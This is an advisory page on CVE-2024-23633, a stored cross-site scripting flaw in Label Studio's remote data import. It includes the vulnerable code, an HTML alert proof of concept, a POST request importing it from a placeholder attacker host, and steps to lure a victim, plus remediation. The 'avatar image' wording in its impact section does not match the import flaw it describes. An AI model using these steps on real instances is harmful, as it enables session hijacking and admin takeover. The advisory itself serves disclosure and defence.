CVE-2024-23633: Label Studio XSS Vulnerability on Data Import

Published Jan 23, 2024
·
Updated

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.10.1 and was tested on version 1.9.2.post0.

Overview

Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.

Description

The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.

python def tasksfromurl(fileuploadids, project, user, url, couldbetaskslist): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1] <1>

response = ssrfsafeget( url, verify=project.organization.shouldverifysslcerts(), stream=True, headers={'Accept-Encoding': None} ) filecontent = response.content checktasksmaxfilesize(int(response.headers['content-length'])) fileupload = createfileupload(user, project, SimpleUploadedFile(filename, filecontent)) if fileupload.formatcouldbetaskslist: couldbetaskslist = True fileuploadids.append(fileupload.id) tasks, foundformats, datakeys = FileUpload.loadtasksfromuploadedfiles(project, fileuploadids)

except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return datakeys, foundformats, tasks, fileuploadids, couldbetaskslist 1. The file name that was set was retrieved from the URL.

The downloaded file path could then be retrieved by sending a request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}] where {projectid} was the ID of the project and {downloadid} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guesstype guesses the Content-Type based on the file extension.

python class UploadedFileResponse(generics.RetrieveAPIView): permissionclasses = (IsAuthenticated,)

@swaggerautoschema(autoschema=None) def get(self, args, kwargs): request = self.request filename = kwargs['filename'] # XXX needed, on windows os.path.join generates '\' which breaks FileUpload file = settings.UPLOADDIR + ('/' if not settings.UPLOADDIR.endswith('/') else '') + filename logger.debug(f'Fetch uploaded file by user {request.user} => {file}') fileupload = FileUpload.objects.filter(file=file).last()

if not fileupload.haspermission(request.user): return Response(status=status.HTTP403FORBIDDEN)

file = fileupload.file if file.storage.exists(file.name): contenttype, encoding = mimetypes.guesstype(str(file.name)) <1> contenttype = contenttype or 'application/octet-stream' return RangedFileResponse(request, file.open(mode='rb'), contenttype=contenttype) else: return Response(status=status.HTTP404NOTFOUND) 1. Determines the Content-Type based on the extension of the uploaded file by using mimetypes.guesstype.

Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.

Proof of Concept

Below were the steps to recreate this issue:

1. Host the following HTML proof of concept (POC) script on an external website with the file extension .html that would be downloaded to the Label Studio website.

html <html> <body> <h1>Data Import XSS</h1> <script> alert(document.domain); </script> </body> </html>

2. Send the following POST request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the {victimhost} is the address and port of the victim Label Studio website (eg. labelstudio.com:8080), {projectid} is the ID of the project where the data would be imported into, {cookies} are session cookies and {evilsite} is the website hosting the malicious HTML file (named xss.html in the following example).

http POST /api/projects/{projectid}/import?committoproject=false HTTP/1.1 Host: {victimhost} Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Cookie: {cookies} Pragma: no-cache Cache-Control: no-cache

url=https://{evilsite}/xss.html

3. To retrieve the downloaded file path could be retrieved by sending a GET request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}], where {downloadid} is the ID of the file download from the previous step.

4. Send your victim a link to /data/{filepath}, where {filepath} is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting /data/upload/1/cfcfc340-xss.html.

!xss-import-alert

Impact

Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.

Remediation Advice

For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy (documentation). Restrict the allowed file extensions that could be downloaded.

Discovered - August 2023, Alex Brown, elttam

Other sources

Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.

dataimport/uploader.py lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to /api/projects/{projectid}/file-uploads?ids=[{downloadid}] where {projectid} was the ID of the project and {downloadid} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, dataimport/api.pylines 595C1 through 616C62 demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guesstype guesses the Content-Type based on the file extension. Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.

Version 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy. Alternatively, restrict the allowed file extensions that may be downloaded.

MITRE

Affected Software

2 affected componentsFixes available
pip/label-studio<1.10.1
1.10.1
HumanSignal Label Studio<1.10.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/label-studio to a version that resolves this vulnerability.

    Fixed in 1.10.1
  2. Upgrade

    Upgrade Label Studio to a version that resolves this vulnerability.

    Fixed in 1.10.1
  3. Configuration

    For all user provided files that are downloaded by Label Studio, set the response header `Content-Security-Policy: sandbox;` when viewed on the site.

    Label Studio (file viewing responses for user-provided downloads) Content-Security-Policy = sandbox;
  4. Configuration

    Restrict the allowed file extensions that could be downloaded (alternative remediation strategy to prevent importing/viewing attacker-controlled HTML/JavaScript payloads).

    Label Studio (remote import/download) allowed file extensions = restrict

Event History

Jan 23, 2024
CVE Published
via MITRE·11:15 PM
Data Sourced
via MITRE·11:15 PM
DescriptionSeverityWeakness
Jan 24, 2024
Advisory Published
via GitHub·02:21 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-23633?

CVE-2024-23633 is considered a moderate severity vulnerability affecting all versions of Label Studio prior to 1.10.1.

2

How do I fix CVE-2024-23633?

To fix CVE-2024-23633, upgrade Label Studio to version 1.10.1 or later.

3

What versions are affected by CVE-2024-23633?

CVE-2024-23633 affects all versions of Label Studio before 1.10.1.

4

Is CVE-2024-23633 easy to exploit?

Yes, CVE-2024-23633 can potentially be exploited by attackers with relatively low skill levels.

5

What software does CVE-2024-23633 impact?

CVE-2024-23633 impacts the Label Studio package developed by Humansignal.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203